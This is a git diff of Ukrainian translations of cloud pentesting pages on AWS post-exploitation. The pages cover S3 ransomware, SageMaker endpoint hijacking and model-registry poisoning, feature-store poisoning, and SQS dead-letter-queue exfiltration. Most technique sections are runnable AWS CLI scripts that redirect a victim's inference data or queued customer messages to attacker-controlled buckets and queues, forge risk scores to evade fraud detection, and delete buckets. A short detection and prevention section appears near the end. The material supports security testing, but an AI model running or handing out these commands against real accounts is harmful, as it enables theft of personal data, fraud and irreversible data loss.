-Атакуючий визначає цільовий **S3 bucket and gains write-level access** до нього різними способами. Це може бути через погану конфігурацію бакета, через відкритий доступ, або через отримання доступу до самої AWS environment. Зазвичай атакуються бакети, які містять чутливу інформацію, таку як personally identifiable information (PII), protected health information (PHI), логи, резервні копії тощо.
+Зловмисник визначає цільовий **S3 bucket and gains write-level access** до нього різними методами. Це може бути через неправильну конфігурацію бакета, яка робить його публічним, або через отримання доступу до самої AWS середовища. Зловмисник зазвичай орієнтується на бакети, що містять конфіденційну інформацію, таку як personally identifiable information (PII), protected health information (PHI), логи, резервні копії та інше.
-Щоб визначити, чи можна цільовий бакет використати для ransomware, атакуючий перевіряє його конфігурацію. Це включає перевірку, чи увімкнено **S3 Object Versioning** і чи увімкнено **multi-factor authentication delete (MFA delete)**. Якщо Object Versioning не увімкнено, атакуючий може продовжити. Якщо Object Versioning увімкнено, але MFA delete вимкнено, атакуючий може **disable Object Versioning**. Якщо і Object Versioning, і MFA delete увімкнені, виконати ransomware проти цього бакета стає складніше.
+Щоб визначити, чи можна націлити бакет під ransomware, зловмисник перевіряє його конфігурацію. Це включає перевірку, чи увімкнено **S3 Object Versioning** та чи увімкнено **multi-factor authentication delete (MFA delete)**. Якщо Object Versioning не увімкнено, зловмисник може продовжити. Якщо Object Versioning увімкнено, але MFA delete вимкнено, зловмисник може **disable Object Versioning**. Якщо й Object Versioning, і MFA delete увімкнені, здійснити ransomware конкретного бакета стає складніше.
-Використовуючи AWS API, атакуючий **замінює кожний об'єкт у бакеті зашифрованою копією, використовуючи свій KMS key**. Це фактично шифрує дані в бакеті, роблячи їх недоступними без ключа.
+Використовуючи AWS API, зловмисник **replaces each object in the bucket with an encrypted copy using their KMS key**. Це фактично шифрує дані в бакеті, роблячи їх недоступними без ключа.
-Щоб додатково посилити тиск, атакуючий планує видалення KMS key, який використовувався в атаці. Це дає цілі 7-денне вікно для відновлення даних перед тим, як ключ буде видалено і дані стануть остаточно втраченими.
+Щоб посилити тиск, зловмисник планує видалення KMS key, який використовувався в атаці. Це дає цілі 7-денне вікно для відновлення даних, перш ніж ключ буде видалено і дані стануть остаточно втраченими.
-Нарешті, атакуючий може завантажити фінальний файл, зазвичай з іменем "ransom-note.txt", який містить інструкції для жертви щодо відновлення файлів. Цей файл завантажується без шифрування, щоб привернути увагу цілі та повідомити про ransomware-атаку.
+Наприкінці зловмисник може завантажити фінальний файл, зазвичай з назвою "ransom-note.txt", який містить інструкції для цілі щодо того, як отримати свої файли. Цей файл завантажується без шифрування, ймовірно, щоб привернути увагу цілі та повідомити про атаку ransomware.
### `s3:RestoreObject`
-Атакуючий з дозволом s3:RestoreObject може реактівувати об'єкти, заархівовані в Glacier або Deep Archive, роблячи їх тимчасово доступними. Це дозволяє відновлення та ексфільтрацію історично заархівованих даних (резервні копії, snapshots, логи, сертифікати, старі секрети), які зазвичай недосяжні. Якщо атакуючий поєднає цей дозвіл з правами на читання (наприклад, s3:GetObject), він може отримати повні копії чутливих даних.
+Зловмисник із дозволом s3:RestoreObject може реактивувати об'єкти, заархівовані в Glacier або Deep Archive, роблячи їх тимчасово доступними. Це дозволяє відновлювати та вивозити історично заархівовані дані (резервні копії, snapshots, логи, сертифікації, старі секрети), які зазвичай недоступні. Якщо зловмисник поєднає цей дозвіл із правами на читання (наприклад, s3:GetObject), він може отримати повні копії конфіденційних даних.
```bash
aws s3api restore-object \
--bucket \
@@ -47,7 +46,7 @@ aws s3api restore-object \
```
### `s3:Delete*`
-Зловмисник з дозволом s3:Delete* може видаляти objects, versions і entire buckets, порушувати резервні копії та спричиняти негайну й незворотну втрату даних, знищення доказів і компрометацію артефактів резервного копіювання або відновлення.
+Зловмисник, який має дозвіл s3:Delete*, може видаляти об'єкти, версії та цілі бакети, порушувати резервні копії та спричиняти негайну й незворотну втрату даних, знищення доказів та компрометацію резервних або відновлювальних артефактів.
```bash
# Delete an object from a bucket
aws s3api delete-object \
@@ -64,6 +63,6 @@ aws s3api delete-object \
aws s3api delete-bucket \
--bucket
```
-**Для отримання додаткової інформації** [**перегляньте оригінальне дослідження**](https://rhinosecuritylabs.com/aws/s3-ransomware-part-1-attack-vector/)**.**
+**Для додаткової інформації** [**check the original research**](https://rhinosecuritylabs.com/aws/s3-ransomware-part-1-attack-vector/)**.**
{{#include ../../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sagemaker-post-exploitation/README.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sagemaker-post-exploitation/README.md
index 910da9c88..a15c97b0f 100644
--- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sagemaker-post-exploitation/README.md
+++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sagemaker-post-exploitation/README.md
@@ -4,16 +4,16 @@
## SageMaker endpoint data siphon via UpdateEndpoint DataCaptureConfig
-Зловживання управлінням endpoint-ами SageMaker для включення повного захоплення запитів/відповідей в attacker‑controlled S3 bucket, не торкаючись моделі чи контейнера. Використовує zero/low‑downtime rolling update і вимагає лише дозволів на управління endpoint.
+Зловживання керуванням endpoint SageMaker для увімкнення повного захоплення запитів/відповідей у контрольований атакуючим S3 bucket без втручання в model або container. Використовує zero/low‑downtime rolling update і потребує лише дозволів на управління endpoint.
-### Вимоги
+### Requirements
- IAM: `sagemaker:DescribeEndpoint`, `sagemaker:DescribeEndpointConfig`, `sagemaker:CreateEndpointConfig`, `sagemaker:UpdateEndpoint`
-- S3: `s3:CreateBucket` (або використати існуючий bucket в тому ж account)
-- Необов'язково (якщо використовується SSE‑KMS): `kms:Encrypt` на обраному CMK
-- Ціль: існуючий InService real‑time endpoint в тому ж account/region
+- S3: `s3:CreateBucket` (or use an existing bucket in the same account)
+- Optional (if using SSE‑KMS): `kms:Encrypt` on the chosen CMK
+- Target: An existing InService real‑time endpoint in the same account/region
-### Кроки
-1) Визначте InService endpoint і зберіть поточні production variants
+### Steps
+1) Знайдіть InService endpoint і зберіть поточні production variants
```bash
REGION=${REGION:-us-east-1}
EP=$(aws sagemaker list-endpoints --region $REGION --query "Endpoints[?EndpointStatus=='InService']|[0].EndpointName" --output text)
@@ -22,15 +22,15 @@ CFG=$(aws sagemaker describe-endpoint --region $REGION --endpoint-name "$EP" --q
echo "EndpointConfig=$CFG"
aws sagemaker describe-endpoint-config --region $REGION --endpoint-config-name "$CFG" --query ProductionVariants > /tmp/pv.json
```
-2) Підготуйте attacker S3 destination для captures
+Підготуйте S3-пункт призначення attacker для збереження захоплень.
```bash
ACC=$(aws sts get-caller-identity --query Account --output text)
BUCKET=ht-sm-capture-$ACC-$(date +%s)
aws s3 mb s3://$BUCKET --region $REGION
```
-3) Створіть новий EndpointConfig, який зберігає ті самі варіанти, але вмикає DataCapture у bucket зловмисника
+3) Створіть новий EndpointConfig, який зберігає ті самі варіанти, але вмикає DataCapture для attacker bucket
-Примітка: Використовуйте явні типи вмісту, які задовольняють валідацію CLI.
+Примітка: Використовуйте явні типи вмісту, які відповідають валідації CLI.
```bash
NEWCFG=${CFG}-dc
cat > /tmp/dc.json << JSON
@@ -54,38 +54,37 @@ aws sagemaker create-endpoint-config \
--production-variants file:///tmp/pv.json \
--data-capture-config file:///tmp/dc.json
```
-4) Застосувати новий config з rolling update (minimal/no downtime)
+4) Застосуйте нову конфігурацію з rolling update (мінімальний/відсутній простій)
```bash
aws sagemaker update-endpoint --region $REGION --endpoint-name "$EP" --endpoint-config-name "$NEWCFG"
aws sagemaker wait endpoint-in-service --region $REGION --endpoint-name "$EP"
```
-5) Згенеруйте щонайменше один inference call (необов'язково, якщо є живий трафік)
+5) Згенеруйте принаймні один виклик інференсу (необов'язково, якщо є живий трафік)
```bash
echo '{"inputs":[1,2,3]}' > /tmp/payload.json
aws sagemaker-runtime invoke-endpoint --region $REGION --endpoint-name "$EP" \
--content-type application/json --accept application/json \
--body fileb:///tmp/payload.json /tmp/out.bin || true
```
-6) Перевірити захоплення в S3 зловмисника
+6) Перевірте захоплені файли в attacker S3
```bash
aws s3 ls s3://$BUCKET/capture/ --recursive --human-readable --summarize
```
-### Impact
-- Повна exfiltration реальних (real‑time) inference request і response payloads (та метаданих) із цільового endpoint до контрольованого атакуючим S3 bucket.
-- Жодних змін до model/container image — лише endpoint‑level зміни, що дозволяють stealthy data theft шлях з мінімальними операційними порушеннями.
-
+### Вплив
+- Повна ексфільтрація real‑time inference request і response payloads (та метаданих) з цільового endpoint до S3 bucket, контрольованого зловмисником.
+- Без змін model/container image і лише endpoint‑level зміни, що дозволяє прихований шлях крадіжки даних з мінімальними операційними перебоями.
## SageMaker async inference output hijack via UpdateEndpoint AsyncInferenceConfig
-Зловживання управлінням endpoint для перенаправлення asynchronous inference outputs до S3 bucket, контрольованого атакуючим, шляхом клонування поточного EndpointConfig і встановлення AsyncInferenceConfig.OutputConfig S3OutputPath/S3FailurePath. Це exfiltrates model predictions (та будь‑які трансформовані inputs, які додає контейнер) без модифікації model/container.
+Зловживання управлінням endpoint для перенаправлення вихідних даних асинхронного inference до S3 bucket, контрольованого зловмисником, шляхом клонування поточного EndpointConfig і встановлення AsyncInferenceConfig.OutputConfig S3OutputPath/S3FailurePath. Це ексфільтрує model predictions (та будь‑які перетворені вхідні дані, включені контейнером) без модифікації model/container.
-### Requirements
+### Вимоги
- IAM: `sagemaker:DescribeEndpoint`, `sagemaker:DescribeEndpointConfig`, `sagemaker:CreateEndpointConfig`, `sagemaker:UpdateEndpoint`
-- S3: Можливість запису в attacker S3 bucket (через model execution role або permissive bucket policy)
+- S3: Можливість запису в attacker S3 bucket (через model execution role або через permissive bucket policy)
- Target: An InService endpoint where asynchronous invocations are (or will be) used
### Steps
-1) Зібрати поточні ProductionVariants з цільового endpoint
+1) Gather current ProductionVariants from the target endpoint
```bash
REGION=${REGION:-us-east-1}
EP=
@@ -98,7 +97,7 @@ ACC=$(aws sts get-caller-identity --query Account --output text)
BUCKET=ht-sm-async-exfil-$ACC-$(date +%s)
aws s3 mb s3://$BUCKET --region $REGION || true
```
-3) Клонувати EndpointConfig та перехопити виводи AsyncInference у attacker bucket
+3) Клонувати EndpointConfig та hijack AsyncInference outputs у attacker bucket
```bash
NEWCFG=${CUR_CFG}-async-exfil
cat > /tmp/async_cfg.json << JSON
@@ -108,7 +107,7 @@ aws sagemaker create-endpoint-config --region $REGION --endpoint-config-name "
aws sagemaker update-endpoint --region $REGION --endpoint-name "$EP" --endpoint-config-name "$NEWCFG"
aws sagemaker wait endpoint-in-service --region $REGION --endpoint-name "$EP"
```
-4) Запустіть async invocation та перевірте, що objects потрапляють в attacker S3
+4) Запустіть async invocation і перевірте, що objects потрапляють в attacker S3
```bash
aws s3 cp /etc/hosts s3://$BUCKET/inp.bin
aws sagemaker-runtime invoke-endpoint-async --region $REGION --endpoint-name "$EP" --input-location s3://$BUCKET/inp.bin >/tmp/async.json || true
@@ -117,21 +116,21 @@ aws s3 ls s3://$BUCKET/async-out/ --recursive || true
aws s3 ls s3://$BUCKET/async-fail/ --recursive || true
```
### Вплив
-- Перенаправляє асинхронні результати inference (і тіла помилок) до S3 під контролем зловмисника, що дозволяє приховану ексфільтрацію прогнозів та потенційно чутливих вхідних/вихідних даних, які були pre/post-processed контейнером, без зміни model code або image і з мінімальним/без простоїв.
+- Перенаправляє результати асинхронного inference (та тіла помилок) до S3 під контролем атакуючого, що дозволяє covert exfiltration прогнозів та потенційно конфіденційних вхідних/вихідних даних (pre/post-processed), які генерує контейнер, без зміни коду чи образу моделі і з мінімальним/без простою.
## SageMaker Model Registry supply-chain injection via CreateModelPackage(Approved)
-Якщо зловмисник може виконати CreateModelPackage на цільовій SageMaker Model Package Group, він може зареєструвати нову версію моделі, яка вказує на container image під контролем зловмисника, і одразу позначити її як Approved. Багато CI/CD pipeline автоматично розгортають Approved версії моделей на endpoints або training jobs, що призводить до виконання коду зловмисника під ролями виконання сервісу. Cross-account exposure може посилюватися через надмірно дозволяючу політику ресурсу ModelPackageGroup.
+Якщо атакуючий може виконати CreateModelPackage на цільовій SageMaker Model Package Group, він може зареєструвати нову версію моделі, яка вказує на контейнерний образ під контролем атакуючого, і одразу позначити її як Approved. Багато CI/CD pipeline автоматично деплоять Approved версії моделей на endpoints або training jobs, що призводить до виконання коду атакуючого під ролями виконання сервісу. Експозиція між акаунтами може посилюватися через надмірно дозволяючу ModelPackageGroup resource policy.
### Вимоги
-- IAM (щонайменше для скомпрометування існуючої групи): `sagemaker:CreateModelPackage` на цільовому ModelPackageGroup
+- IAM (мінімум для poison існуючої групи): `sagemaker:CreateModelPackage` на цільовому ModelPackageGroup
- Optional (щоб створити групу, якщо її не існує): `sagemaker:CreateModelPackageGroup`
-- S3: дозвіл на читання до вказаного ModelDataUrl (або розміщення артефактів під контролем зловмисника)
-- Target: Model Package Group, яку downstream automation відстежує на предмет Approved версій
+- S3: доступ на читання до вказаного ModelDataUrl (або розміщення артефактів під контролем атакуючого)
+- Target: Model Package Group, за якою downstream автоматизація відслідковує Approved версії
### Кроки
-1) Set region and create/find a target Model Package Group
+1) Встановіть регіон та створіть/знайдіть цільовий Model Package Group
```bash
REGION=${REGION:-us-east-1}
MPG=victim-group-$(date +%s)
@@ -162,17 +161,17 @@ cat > /tmp/inf.json << JSON
JSON
aws sagemaker create-model-package --region $REGION --model-package-group-name $MPG --model-approval-status Approved --inference-specification file:///tmp/inf.json
```
-4) Переконайтеся, що існує нова версія Approved
+4) Перевірте, що нова версія зі статусом Approved існує
```bash
aws sagemaker list-model-packages --region $REGION --model-package-group-name $MPG --output table
```
-### Вплив
-- Poison the Model Registry за допомогою версії Approved, яка посилається на attacker-controlled code. Pipelines, які автоматично деплоять моделі Approved, можуть завантажити та виконати attacker image, що призведе до виконання коду з правами endpoint/training roles.
-- За наявності ліберальної політики ресурсу ModelPackageGroup (PutModelPackageGroupPolicy) це зловживання можна ініціювати cross-account.
+### Наслідки
+- Отруїти Model Registry Approved-версією, яка посилається на код, контрольований атакуючим. Pipelines, які автоматично розгортають Approved models, можуть витягнути та запустити образ атакуючого, що призведе до виконання коду під правами endpoint/training roles.
+- При наявності надмірно дозволяючої політики ресурсу ModelPackageGroup (PutModelPackageGroupPolicy) це зловживання може бути ініційоване cross-account.
## Feature store poisoning
-Зловживання `sagemaker:PutRecord` для Feature Group з увімкненим OnlineStore дозволяє перезаписати live feature values, які споживаються online inference. У поєднанні з `sagemaker:GetRecord`, attacker може прочитати sensitive features. Для цього доступ до models або endpoints не потрібен.
+Зловживати `sagemaker:PutRecord` на Feature Group з увімкненим OnlineStore, щоб перезаписати актуальні значення ознак, які споживаються під час online inference. У поєднанні з `sagemaker:GetRecord`, зловмисник може прочитати чутливі ознаки. Для цього не потрібен доступ до models або endpoints.
{{#ref}}
feature-store-poisoning.md
diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sagemaker-post-exploitation/feature-store-poisoning.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sagemaker-post-exploitation/feature-store-poisoning.md
index 6eeddd69f..6d3787937 100644
--- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sagemaker-post-exploitation/feature-store-poisoning.md
+++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sagemaker-post-exploitation/feature-store-poisoning.md
@@ -2,16 +2,16 @@
{{#include ../../../../banners/hacktricks-training.md}}
-Зловживати `sagemaker:PutRecord` на Feature Group з увімкненим OnlineStore, щоб перезаписати живі значення фіч, які споживаються онлайн-інференсом. У поєднанні з `sagemaker:GetRecord`, нападник може читати конфіденційні фічі. Для цього не потрібен доступ до models або endpoints.
+Зловживання `sagemaker:PutRecord` на Feature Group з увімкненим OnlineStore дозволяє перезаписувати живі значення features, які споживаються для online inference. У поєднанні з `sagemaker:GetRecord` нападник може прочитати чутливі features. Для цього не потрібен доступ до models або endpoints.
-## Requirements
-- Permissions: `sagemaker:ListFeatureGroups`, `sagemaker:DescribeFeatureGroup`, `sagemaker:PutRecord`, `sagemaker:GetRecord`
-- Target: Feature Group with OnlineStore enabled (typically backing real-time inference)
-- Complexity: **LOW** - Simple AWS CLI commands, no model manipulation required
+## Вимоги
+- Дозволи: `sagemaker:ListFeatureGroups`, `sagemaker:DescribeFeatureGroup`, `sagemaker:PutRecord`, `sagemaker:GetRecord`
+- Ціль: Feature Group з увімкненим OnlineStore (зазвичай використовується для real-time inference)
+- Складність: **LOW** - Прості команди AWS CLI, маніпуляції models не потрібні
-## Steps
+## Кроки
-### Reconnaissance
+### Розвідка
1) Перелічити Feature Groups з увімкненим OnlineStore
```bash
@@ -21,7 +21,7 @@ aws sagemaker list-feature-groups \
--query "FeatureGroupSummaries[?OnlineStoreConfig!=null].[FeatureGroupName,CreationTime]" \
--output table
```
-2) Описати цільову Feature Group, щоб зрозуміти її схему
+2) Опишіть цільовий Feature Group, щоб зрозуміти його схему
```bash
FG=
aws sagemaker describe-feature-group \
@@ -30,16 +30,16 @@ aws sagemaker describe-feature-group \
```
Зверніть увагу на `RecordIdentifierFeatureName`, `EventTimeFeatureName` та всі визначення ознак. Вони необхідні для формування дійсних записів.
-### Attack Scenario 1: Data Poisoning (Overwrite Existing Records)
+### Сценарій атаки 1: Data Poisoning (Overwrite Existing Records)
-1) Прочитайте поточний легітимний запис
+1) Прочитайте поточний дійсний запис
```bash
aws sagemaker-featurestore-runtime get-record \
--region $REGION \
--feature-group-name "$FG" \
--record-identifier-value-as-string user-001
```
-2) Отруїти запис шкідливими значеннями, використовуючи inline-параметр `--record`
+2) Poison the record зі шкідливими значеннями, використовуючи inline-параметр `--record`
```bash
NOW=$(date -u +%Y-%m-%dT%H:%M:%SZ)
@@ -63,11 +63,11 @@ aws sagemaker-featurestore-runtime get-record \
--feature-group-name "$FG" \
--record-identifier-value-as-string user-001
```
-**Вплив**: ML-моделі, які використовують цю ознаку, тепер бачитимуть `risk_score=0.99` для легітимного користувача, що потенційно призведе до блокування їхніх транзакцій або сервісів.
+**Вплив**: ML-моделі, що використовують цю ознаку, тепер бачитимуть `risk_score=0.99` для легітимного користувача, що потенційно призведе до блокування їхніх транзакцій або сервісів.
-### Сценарій атаки 2: Зловмисне впровадження даних (Створення фальшивих записів)
+### Сценарій атаки 2: Зловмисне введення даних (Створення фальшивих записів)
-Впровадити цілком нові записи з маніпульованими ознаками для обходу заходів безпеки:
+Впровадьте повністю нові записи з маніпульованими ознаками, щоб обійти заходи безпеки:
```bash
NOW=$(date -u +%Y-%m-%dT%H:%M:%SZ)
@@ -91,11 +91,11 @@ aws sagemaker-featurestore-runtime get-record \
--feature-group-name "$FG" \
--record-identifier-value-as-string user-999
```
-**Impact**: Зловмисник створює фейкову особу з низьким ризиковим балом (0.01), яка може здійснювати високовартісні шахрайські транзакції без спрацьовування системи виявлення шахрайства.
+**Вплив**: Зловмисник створює фейкову ідентичність з низьким оцінюванням ризику (0.01), яка може здійснювати високовартісні шахрайські транзакції, не викликаючи спрацьовування системи виявлення шахрайства.
-### Attack Scenario 3: Sensitive Data Exfiltration
+### Сценарій атаки 3: Експфільтрація чутливих даних
-Читання кількох записів для витягання конфіденційних ознак та профілювання поведінки моделі:
+Прочитати кілька записів, щоб витягти конфіденційні ознаки та профілювати поведінку моделі:
```bash
# Exfiltrate data for known users
for USER_ID in user-001 user-002 user-003 user-999; do
@@ -106,11 +106,11 @@ aws sagemaker-featurestore-runtime get-record \
--record-identifier-value-as-string ${USER_ID}
done
```
-**Вплив**: Конфіденційні ознаки (оцінки ризику, шаблони транзакцій, персональні дані) стають доступними для зловмисника.
+**Вплив**: Конфіденційні ознаки (бали ризику, шаблони транзакцій, персональні дані) доступні зловмиснику.
-### Створення тестового/демо Feature Group (необов'язково)
+### Створення тестової/демо Feature Group (необов'язково)
-Якщо вам потрібно створити тестовий Feature Group:
+Якщо потрібно створити тестову Feature Group:
```bash
REGION=${REGION:-us-east-1}
FG=$(aws sagemaker list-feature-groups --region $REGION --query "FeatureGroupSummaries[?OnlineStoreConfig!=null]|[0].FeatureGroupName" --output text)
@@ -143,6 +143,6 @@ fi
echo "Feature Group ready: $FG"
```
-## Посилання
+## Джерела
- [AWS SageMaker Feature Store Documentation](https://docs.aws.amazon.com/sagemaker/latest/dg/feature-store.html)
- [Feature Store Security Best Practices](https://docs.aws.amazon.com/sagemaker/latest/dg/feature-store-security.html)
diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sqs-dlq-redrive-exfiltration.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sqs-dlq-redrive-exfiltration.md
index 1c0dcce5a..f0dbe5ae1 100644
--- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sqs-dlq-redrive-exfiltration.md
+++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sqs-dlq-redrive-exfiltration.md
@@ -2,54 +2,54 @@
{{#include ../../../banners/hacktricks-training.md}}
-## Description
+## Опис
-Зловживання задачами переміщення повідомлень SQS для викрадення всіх накопичених повідомлень з Dead-Letter Queue (DLQ) жертви шляхом перенаправлення їх до черги, якою керує атакуючий, використовуючи `sqs:StartMessageMoveTask`. Ця техніка експлуатує легітимну функцію відновлення повідомлень AWS для ексфільтрації чутливих даних, які накопичувалися в DLQ з часом.
+Зловживання task-ами переміщення повідомлень SQS для викрадення всіх накопичених повідомлень із Dead-Letter Queue (DLQ) жертви, перенаправляючи їх у чергу, контрольовану атакуючим, використовуючи `sqs:StartMessageMoveTask`. Ця техніка експлуатує легітимну функцію відновлення повідомлень AWS для exfiltrate sensitive data, що накопичилися в DLQ з часом.
## What is a Dead-Letter Queue (DLQ)?
-Dead-Letter Queue — це спеціальна черга SQS, куди повідомлення автоматично відправляються, коли основний додаток не зміг їх успішно обробити. Ці невдалі повідомлення часто містять:
-- Чутливі дані додатку, які не вдалося обробити
-- Деталі помилок та інформацію для налагодження
-- Персональні ідентифікатори (PII)
+Dead-Letter Queue — це спеціальна SQS queue, куди повідомлення автоматично надсилаються, коли основна програма не змогла їх успішно обробити. Ці невдалі повідомлення часто містять:
+- Чутливі дані додатка, які не вдалося обробити
+- Деталі помилок та інформацію для дебагу
+- Персональні ідентифікуючі дані (PII)
- API токени, облікові дані або інші секрети
-- Критично важливі для бізнесу транзакційні дані
+- Критично важливі бізнес-транзакційні дані
-DLQ виступають як «кладовище» для невдалих повідомлень, що робить їх цінними цілями, оскільки вони накопичують чутливі дані з часом, які додатки не змогли обробити правильно.
+DLQ виступають як «кладовище» для невдалих повідомлень, через що вони є цінними цілями, оскільки з часом накопичують чутливі дані, які додатки не змогли обробити.
-## Attack Scenario
+## Сценарій атаки
-**Real-world example:**
+**Приклад із реального життя:**
1. **E-commerce application** обробляє замовлення клієнтів через SQS
-2. **Деякі замовлення не вдаються** (проблеми з оплатою, з інвентарем тощо) і потрапляють до DLQ
-3. **DLQ накопичує** тижні/місяці невдалих замовлень, які містять дані клієнтів: `{"customerId": "12345", "creditCard": "4111-1111-1111-1111", "orderTotal": "$500"}`
-4. **Атакуючий отримує доступ** до AWS облікових даних з дозволами на SQS
-5. **Атакуючий виявляє**, що DLQ містить тисячі невдалих замовлень з чутливими даними
-6. **Замість спроби доступитися до окремих повідомлень** (повільно і помітно), атакуючий використовує `StartMessageMoveTask` щоб масово перемістити ВСІ повідомлення до своєї черги
-7. **Атакуючий витягує** всі історичні чутливі дані за одну операцію
+2. **Деякі замовлення не проходять** (проблеми з оплатою, інвентарем тощо) і потрапляють у DLQ
+3. **DLQ накопичує** тижні/місяці невдалих замовлень, що містять дані клієнтів: `{"customerId": "12345", "creditCard": "4111-1111-1111-1111", "orderTotal": "$500"}`
+4. **Атакуючий отримує доступ** до AWS облікових даних із дозволами на SQS
+5. **Атакуючий виявляє**, що DLQ містить тисячі невдалих замовлень із чутливими даними
+6. **Замість того щоб намагатися отримати доступ до окремих повідомлень** (повільно і помітно), атакуючий використовує `StartMessageMoveTask` для масового перенесення ВСІХ повідомлень у власну чергу
+7. **Атакуючий витягує** всю історичну чутливу інформацію за одну операцію
-## Requirements
-- Джерельна черга повинна бути налаштована як DLQ (посилана принаймні однією політикою RedrivePolicy іншої черги).
-- IAM дозволи (виконуються під скомпрометованим принципалом жертви):
-- На DLQ (джерелі): `sqs:StartMessageMoveTask`, `sqs:GetQueueAttributes`.
-- На черзі-призначенні: дозвіл доставляти повідомлення (наприклад, політика черги, що дозволяє `sqs:SendMessage` від принципала жертви). Для призначень в тій же акаунті це зазвичай дозволено за замовчуванням.
-- Якщо увімкнено SSE-KMS: на джерельному CMK `kms:Decrypt`, а на CMK призначення — `kms:GenerateDataKey`, `kms:Encrypt`.
+## Вимоги
+- Джерельна queue має бути налаштована як DLQ (посилається принаймні однією чергою через RedrivePolicy).
+- IAM permissions (виконуються від імені скомпрометованого принципалу жертви):
+- На DLQ (source): `sqs:StartMessageMoveTask`, `sqs:GetQueueAttributes`.
+- На destination queue: дозвіл на доставку повідомлень (наприклад, політика черги, що дозволяє `sqs:SendMessage` від принципалу жертви). Для destination в тому ж акаунті це зазвичай дозволено за замовчуванням.
+- Якщо увімкнено SSE-KMS: на source CMK `kms:Decrypt`, а на destination CMK `kms:GenerateDataKey`, `kms:Encrypt`.
-## Impact
-Ексфільтрація чутливих корисних навантажень, накопичених у DLQ (невдалі події, PII, токени, корисні навантаження додатків) на великій швидкості за допомогою рідних SQS API. Працює між акаунтами, якщо політика черги призначення дозволяє `SendMessage` від принципала жертви.
+## Вплив
+Exfiltrate sensitive payloads, що накопичилися в DLQ (невдалі події, PII, токени, payload-и додатків) з великою швидкістю, використовуючи нативні SQS API. Працює cross-account, якщо політика destination queue дозволяє `SendMessage` від принципалу жертви.
-## How to Abuse
+## Як зловживати
-- Визначте ARN жертви DLQ і переконайтесь, що вона дійсно використовується як DLQ якоюсь чергою (будь-яка черга підійде).
-- Створіть або виберіть чергу, якою керує атакуючий, і отримайте її ARN.
-- Запустіть задачу переміщення повідомлень з DLQ жертви до вашої черги-призначення.
-- Моніторте прогрес або скасуйте за потреби.
+- Виявити ARN victim DLQ і переконатися, що вона дійсно використовується як DLQ хоча б однією чергою (будь-яка черга підходить).
+- Створити або вибрати чергу, контрольовану атакуючим, і отримати її ARN.
+- Запустити message move task зі жертви DLQ у вашу destination queue.
+- Моніторити прогрес або скасувати за потреби.
### CLI Example: Exfiltrating Customer Data from E-commerce DLQ
**Scenario**: Атакуючий скомпрометував AWS облікові дані і виявив, що e-commerce додаток використовує SQS з DLQ, яка містить невдалі спроби обробки замовлень клієнтів.
-1) **Discover and examine the victim DLQ**
+1) **Виявити та дослідити DLQ жертви**
```bash
# List queues to find DLQs (look for names containing 'dlq', 'dead', 'failed', etc.)
aws sqs list-queues --queue-name-prefix dlq
@@ -63,7 +63,7 @@ aws sqs get-queue-attributes --queue-url "$VICTIM_DLQ_URL" \
--attribute-names ApproximateNumberOfMessages
# Output might show: "ApproximateNumberOfMessages": "1847"
```
-2) **Створіть attacker-controlled destination queue**
+2) **Створити attacker-controlled destination queue**
```bash
# Create our exfiltration queue
ATTACKER_Q_URL=$(aws sqs create-queue --queue-name hacker-exfil-$(date +%s) --query QueueUrl --output text)
@@ -71,7 +71,7 @@ ATTACKER_Q_ARN=$(aws sqs get-queue-attributes --queue-url "$ATTACKER_Q_URL" --at
echo "Created exfiltration queue: $ATTACKER_Q_ARN"
```
-3) **Виконайте bulk message theft**
+3) **Виконати масове викрадення повідомлень**
```bash
# Start moving ALL messages from victim DLQ to our queue
# This operation will transfer thousands of failed orders containing customer data
@@ -86,7 +86,7 @@ echo "Move task started: $TASK_RESPONSE"
# Monitor the theft progress
aws sqs list-message-move-tasks --source-arn "$SRC_ARN" --max-results 10
```
-4) **Збирати вкрадені конфіденційні дані**
+4) **Зібрати викрадені конфіденційні дані**
```bash
# Receive the exfiltrated customer data
echo "Receiving stolen customer data..."
@@ -115,21 +115,21 @@ echo "Received batch of stolen data..."
echo "$MESSAGES" >> stolen_customer_data.json
done
```
-### Примітки щодо міжакаунтного доступу
-- Черга призначення повинна мати політику ресурсів, яка дозволяє принципалу жертви виконувати `sqs:SendMessage` (і, якщо використовується, KMS grants/permissions).
+### Міжакаунтні примітки
+- Чергa призначення повинна мати політику ресурсу, яка дозволяє принципалу жертви виконувати `sqs:SendMessage` (і, якщо використовується, гранти/дозволи KMS).
## Чому ця атака ефективна
-1. **Legitimate AWS Feature**: Використовує вбудовану функціональність AWS, що ускладнює виявлення як зловмисну
-2. **Bulk Operation**: Швидко переносить тисячі повідомлень замість повільного доступу до кожного окремо
-3. **Historical Data**: DLQs накопичують конфіденційні дані протягом тижнів/місяців
-4. **Under the Radar**: Багато організацій не моніторять доступ до DLQ уважно
-5. **Cross-Account Capable**: Може ексфільтрувати в акаунт AWS атакуючого, якщо дозволи це дозволяють
+1. **Легітимна функція AWS**: Використовує вбудований функціонал AWS, що ускладнює виявлення як шкідливу активність
+2. **Масова операція**: Швидко переносить тисячі повідомлень замість повільного поодинокого доступу
+3. **Історичні дані**: DLQs накопичують чутливі дані протягом тижнів/місяців
+4. **Поза увагою**: Багато організацій не відстежують доступ до DLQ ретельно
+5. **Підтримка міжакаунтного доступу**: Може вивести дані в власний AWS акаунт нападника, якщо дозволи дозволяють
## Виявлення та запобігання
### Виявлення
-Моніторити CloudTrail на предмет підозрілих викликів API `StartMessageMoveTask`:
+Моніторьте CloudTrail на предмет підозрілих викликів API `StartMessageMoveTask`:
```json
{
"eventName": "StartMessageMoveTask",
@@ -145,10 +145,10 @@ done
}
```
### Запобігання
-1. **Least Privilege**: Обмежуйте дозволи `sqs:StartMessageMoveTask` лише для необхідних ролей
-2. **Monitor DLQs**: Налаштуйте CloudWatch alarms для сповіщення про аномальну активність у DLQs
